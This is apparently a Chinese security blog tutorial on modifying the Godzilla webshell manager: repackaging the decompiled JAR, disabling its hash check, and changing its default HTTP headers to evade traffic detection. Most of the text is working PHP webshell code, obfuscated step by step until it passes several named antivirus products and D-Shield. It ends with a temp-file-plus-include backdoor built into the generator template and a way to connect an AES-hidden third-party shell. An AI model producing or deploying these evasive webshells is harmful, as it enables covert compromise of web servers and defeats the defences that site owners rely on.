魔改哥斯拉 | 反编译重打包 + 特征指纹打乱 + Webshell免杀对抗

0 阅读6分钟

🦖 魔改哥斯拉 | 反编译重打包 + 特征指纹打乱 + Webshell免杀对抗

本文记录对哥斯拉(Godzilla)v4.01 进行魔改的完整过程,涵盖 JAR 反编译环境搭建、特征指纹修改、Webshell 免杀对抗等内容。

www.cnblogs.com/wrold/p/197…

免责声明:本文仅用于学习研究,请勿用于非法用途。


📌 目录


🛠️ 环境准备

主要用到以下工具:

  • jadx:JAR 反编译工具,用于提取源码
  • decompiler.com:在线反编译工具(备用)
  • IDEA:Java 开发环境,用于修改和重新打包
  • JDK 1.8:哥斯拉是基于 JDK 8 编写的,版本要对应,用高版本会有一堆兼容性问题

🔧 JAR 反编译与项目搭建

反编译

用 jadx 打开 godzilla.jar,或者上传到 decompiler.com 进行反编译:

decompiler.com 有时候会出问题,建议两个工具都备着

另一款在线反编译工具:www.decompiler.com/(这个工具导出的项目中… Unicode 编码,属于正常现象,不影响使用)

配置 IDEA 项目

选 JDK 1.8,版本不对会报一堆奇怪的错误:

添加原版哥斯拉 JAR 包为依赖,这样第三方库的类都从原版 JAR 里读取,不需要单独解决依赖问题:

📁 目录结构说明

这里的目录结构设计很关键,理解清楚能省很多麻烦

项目根目录/
├── godzilla/        # 反编译的完整源代码(只用来复制文件,不参与构建)
├── lib/             # 原版 jar 包,作为依赖引入
└── src/             # 自己修改的源码目录(核心!参与构建)

注意 src 目录里的文件必须保持和原代码一样的目录结构,比如要改 core/ApplicationConfig.java,就在 src 里建 core/ 目录再放进去。

只保留一个 src 目录参与构建,这样只有你改过的文件会被重新编译,其他的都走原版 JAR:

配置主类入口

找到 godzilla/META-INF/MANIFEST.MF,里面写明了程序的主类:

在 IDEA 的工件配置里填入对应的主类:

构建打包

先点击构建项目

再点击构建工件重新打包:

看到生成了新的 JAR 文件:

直接运行会提示 hash 校验错误,这是正常的,因为代码被我们重新编译了,hash 值当然变了:

✅ 能弹出提示说明程序能运行,环境搭建成功!接下来开始改代码


🎯 打乱特征指纹

1️⃣ 去除 Hash 校验

全局搜索关键词,找到 godzilla/core/ApplicationConfig.java

把校验逻辑改掉,有两种方式:

// 方法一:去掉取反,让校验永远通过
if (jarHashString.equals(hashString))   // 原来是 !equals

// 方法二:直接把校验代码全删了,只保留正常逻辑

⚠️ 修改的文件要复制一份到 src 目录里,并且保持目录结构不变,否则改动不生效

如果 src 里复制了太多文件导致构建报错,把不需要的文件删掉就行

如果碰到找不到某个包的问题,自己去网上下载对应的 JAR 放到 lib 目录下,再加入依赖就好了:

2️⃣ 修改流量特征(UA/Headers)

先用 Burp 抓一下原版的数据包看看长什么样:

原版数据包:

POST /shell.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Host: 127.0.0.1
Content-type: application/x-www-form-urlencoded

这个 UA 是哥斯拉的默认特征,流量设备一眼就能识别。

对应软件里的配置:

找到 core/ui/component/frame/ShellSetting.java,修改默认 Headers:

this.headersTextArea.setText(
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36\n" +
    "Accept: */*\n" +
    "Referer: https://www.google.com/\n" +    // 可以换成目标主机的域名
    "X-Requested-With: XMLHttpRequest\n" +
    "Accept-Language: zh-CN,zh;q=0.9\n"
);

改完之后抓包确认 UA 变了:

💡 除了改 UA,还可以改版权信息等其他字符串特征,让工具的静态特征尽量跟原版不一样


🛡️ Webshell 免杀对抗

以 PHP 为例,源码在 src/shells/cryptions/phpXor 目录下,控制 Webshell 的生成逻辑。

生成三个 Webshell 看看:

原版的都直接被杀了:

逐步混淆过程

第一步:加个判断,避免无条件执行

<?php
if(isset($_POST['pass'])){
    @eval($_POST['pass']);
}

第二步:变量名替换

<?php
$_k = 'pass';
if(isset($_POST[$_k])){
    @eval($_POST[$_k]);
}

第三步:字符串拆分,打散关键字

<?php
$_k = 'pa'.'ss';
if(isset($_POST[$_k])){
    @eval($_POST[$_k]);
}

第四步:替代 eval 函数,用 create_function 代替

<?php
$_k = 'pa'.'ss';
if(isset($_POST[$_k])){
    $f = create_function('', $_POST[$_k]);
    @$f();
}

第五步:混淆函数名

<?php
$_k = 'pa'.'ss';
$_c = 'create_'.'function';
if(isset($_POST[$_k])){
    $f = $_c('', $_POST[$_k]);
    @$f();
}

第六步:混淆 POST 变量

<?php
$_k = 'pa'.'ss';
$_c = 'cre'.'ate_'.'fun'.'ction';
$_p = '_P'.'OS'.'T';
if(isset($$_p[$_k])){
    $f = $_c('', $$_p[$_k]);
    @$f();
}

第七步:加入垃圾代码干扰静态分析

<?php
$_x = 'hello';
$_y = md5('world');
$_k = 'pa'.'ss';
$_c = 'cre'.'ate_'.'fun'.'ction';
$_p = '_P'.'OS'.'T';
$_z = strlen($_x) + 1;
if(isset($$_p[$_k])){
    $f = $_c('', $$_p[$_k]);
    @$f();
}

测试结果

火绒:过了

360:过了

卡巴斯基:过了

D 盾:被检测到,特征是 create_function 的变量调用模式

尝试进一步绕过 D 盾

换用匿名函数:

<?php
$_x = 'hello';
$_y = md5('world');
$_k = 'pa'.'ss';
$_p = '_P'.'OS'.'T';
$_z = strlen($_x) + 1;
if(isset($$_p[$_k])){
    $f = function(){
        $a = func_get_args();
        eval($a[0]);
    };
    @$f($$_p[$_k]);
}

还是被检测到,但是级别变小了:

换了几种方式都会被检测到,D 盾对 eval/create_function 相关的所有调用模式都有规则,换调用方式这条路走不通


💡 利用文件包含绕过 D 盾

换个思路,完全不用 eval/create_function,改用临时文件 + include:

<?php
$_k = 'pa'.'ss';
$_p = '_P'.'OS'.'T';
if(isset($$_p[$_k])){
    $tmp = tempnam(sys_get_temp_dir(), 'php');
    file_put_contents($tmp, '<?php '.$$_p[$_k]);
    include($tmp);
    unlink($tmp);
}

执行流程:

接收 POST 数据
    ↓
tempnam() 创建临时文件(如 /tmp/php3f2a1b)
    ↓
file_put_contents() 把 payload 写入临时文件
内容变成 <?php [哥斯拉发来的代码]
    ↓
include() 把临时文件当 PHP 文件执行
    ↓
unlink() 删除临时文件,不留痕迹

为什么能绕过 D 盾?

D 盾的静态检测是扫描危险函数特征组合(eval/create_function/assert + 变量),但这个版本里完全没有这些函数,D 盾的规则匹配不到。

其他三个 shell 都被检测到,但这个 shell 没有检测到:

哥斯拉也能正常连接:

🔑 核心原理:哥斯拉发送的 payload 本质上是 PHP 代码字符串,这里把它写成文件再 include 执行,和直接 eval 效果完全一样,哥斯拉不感知任何区别。额外的好处是执行完立即删除临时文件,不留文件痕迹,比 eval 更隐蔽。


⚡ 替换生成模板实现生成即免杀

既然免杀代码能用了,直接把它写进哥斯拉的生成模板里:

src/shells/cryptions/phpXor/template/eval.bin

原内容是:

<?php
eval($_POST["{pass}"]);

替换成我们的免杀版本。

注意:{pass} 是密码占位符,为了方便就不改了,用默认密码即可

改完之后,不管改没改密码,生成出来的 Webshell 都是默认密码的免杀版本:

🎉 达到"生成即免杀"的效果!


🔍 使用现成免杀工具适配哥斯拉

除了自己改,也可以直接用网上别人写好的免杀 Webshell,只要适配一下哥斯拉的连接方式就好。

以这个工具为例:

<?php
// ... 内部 AES 加密隐藏真实 Webshell 代码
// 原版连接方式:?vfxg5e=cfile

把哥斯拉生成的 shell 放上去,生成免杀webshell

直接访问有效果(工具有模拟报错页面):

但是直接用哥斯拉是连接不上的:

工具说明里有写,并不完全适配哥斯拉,需要改一下连接方式:

传参: /xxxx.php?vfxg5e=cfile

正确的连接方式:

http://127.0.0.1/22.php?vfxg5e=cfile

连接成功:

D 盾也扫不到 22.php

为什么这个工具能绕过查杀?

原理是把完整的哥斯拉 Webshell 用 AES 加密藏在变量里,静态扫描看到的是密文,看不到 evalencodegetBasicsInfo 等敏感特征,运行时才解密出来执行。这是一种经典的加密隐藏 Payload 免杀思路。


📝 总结

改动点效果
去除 Hash 校验重打包后能正常运行
修改默认 UA/Headers流量层特征改变,不被流量设备识别
Webshell 逐步混淆过火绒、360、卡巴斯基
临时文件 + include过 D 盾静态检测
替换生成模板生成即免杀

免杀对抗的本质:杀软基于特征库,我们所做的就是不断换等价写法绕过已知特征。没有永久免杀,只有持续对抗,杀软特征库会更新,所以需要持续研究新的绕过方式。

关于流量层对抗:本文修改了 UA 等 HTTP 头特征,但 Webshell 通信的 Payload 加密特征属于哥斯拉客户端底层逻辑,需要深入修改通信加密协议才能完全绕过流量检测设备,这部分后续继续研究。

关于插件开发shells/plugins/php 目录下是插件目录,可以对着原版插件改,或者重新写,但需要适配哥斯拉的插件规范,难度较大,后续单独出一篇。


参考:小迪安全课程 · 免杀对抗-Webshell篇